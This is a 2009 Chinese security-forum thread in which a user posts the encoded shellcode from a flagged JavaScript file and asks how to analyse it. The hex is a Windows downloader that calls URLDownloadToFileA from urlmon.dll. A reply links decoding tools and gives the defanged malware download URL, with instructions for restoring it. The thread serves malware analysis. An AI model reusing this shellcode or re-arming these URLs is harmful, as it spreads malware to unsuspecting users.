http://yasws-05.cn/24/ytlz.js

显示全部楼层 · 发表于 2009-4-30 14:51:18

請問大家我看到這個java script 小紅有報
裡面也有shellocde
我把 shellcode 的值印出來如下
YT56e8YT0000YT5300YT5655YT8b57YT246cYT8b18YT3c45YT548bYT7805YTea01YT4a8bYT8b18YT205aYTeb01YT32e3YT8b49YT8b34YTee01YTff31YT31fcYTacc0YTe038YT0774YTcfc1YT010dYTebc7YT3bf2YT247cYT7514YT8be1YT245aYTeb01YT8b66YT4b0cYT5a8bYT011cYT8bebYT8b04YTe801YT02ebYTc031YT5e5fYT5b5dYT08c2YT5e00YT306aYT6459YT198bYT5b8bYT8b0cYT1c5bYT1b8bYT5b8bYT5308YT8e68YT0e4eYTffecYT89d6YT53c7YT8e68YT0e4eYTffecYTebd6YT5a50YTff52YT89d0YT52c2YT5352YTaa68YT0dfcYTff7cYT5ad6YT4debYT5159YTff52YTebd0YT5a72YT5bebYT6a59YT6a00YT5100YT6a52YTff00YT53d0YTa068YTc9d5YTff4dYT5ad6YTff52YT53d0YT9868YT8afeYTff0eYTebd6YT5944YT006aYTff51YT53d0YT7e68YTe2d8YTff73YT6ad6YTff00YTe8d0YTffabYTffffYT7275YT6d6cYT6e6fYT642eYT6c6cYTe800YTffaeYTffffYT5255YT444cYT776fYT6c6eYT616fYT5464YT466fYT6c69YT4165YTe800YTffa0YTffffYT2e2eYT765cYTe800YTffb7YTffffYT2e2eYT765cYTe800YTff89YTffffYT3432YT322FYT2E34YT7865YT0065YT0000
請問這要用什麼工具和方法可以去分析這裡的shellcode的東西呢

感謝大家的幫助

http://yasws-05.cn/24/ytlz.js

显示全部楼层 · 发表于 2009-4-30 15:58:36

你可以参考这个网页上的解密教程（主要看点：1L的解密步骤跟6L高手的提示...)
hxxp://bbs.kafan.cn/thread-470777-1-1.html

用到的工具(hxxp://glacierlk.cn/jm.htm)

用http替换hxxp就可以了！

最终病毒下载地址为：hxxp://yasws-05.cn/24/24.exe

[ 本帖最后由幸福的猪猪于 2009-4-30 16:00 编辑 ]

显示全部楼层 · 发表于 2009-4-30 16:50:33

TO DW

[可疑文件] http://yasws-05.cn/24/ytlz.js

回复 1楼 virusfans 的帖子

本帖子中包含更多资源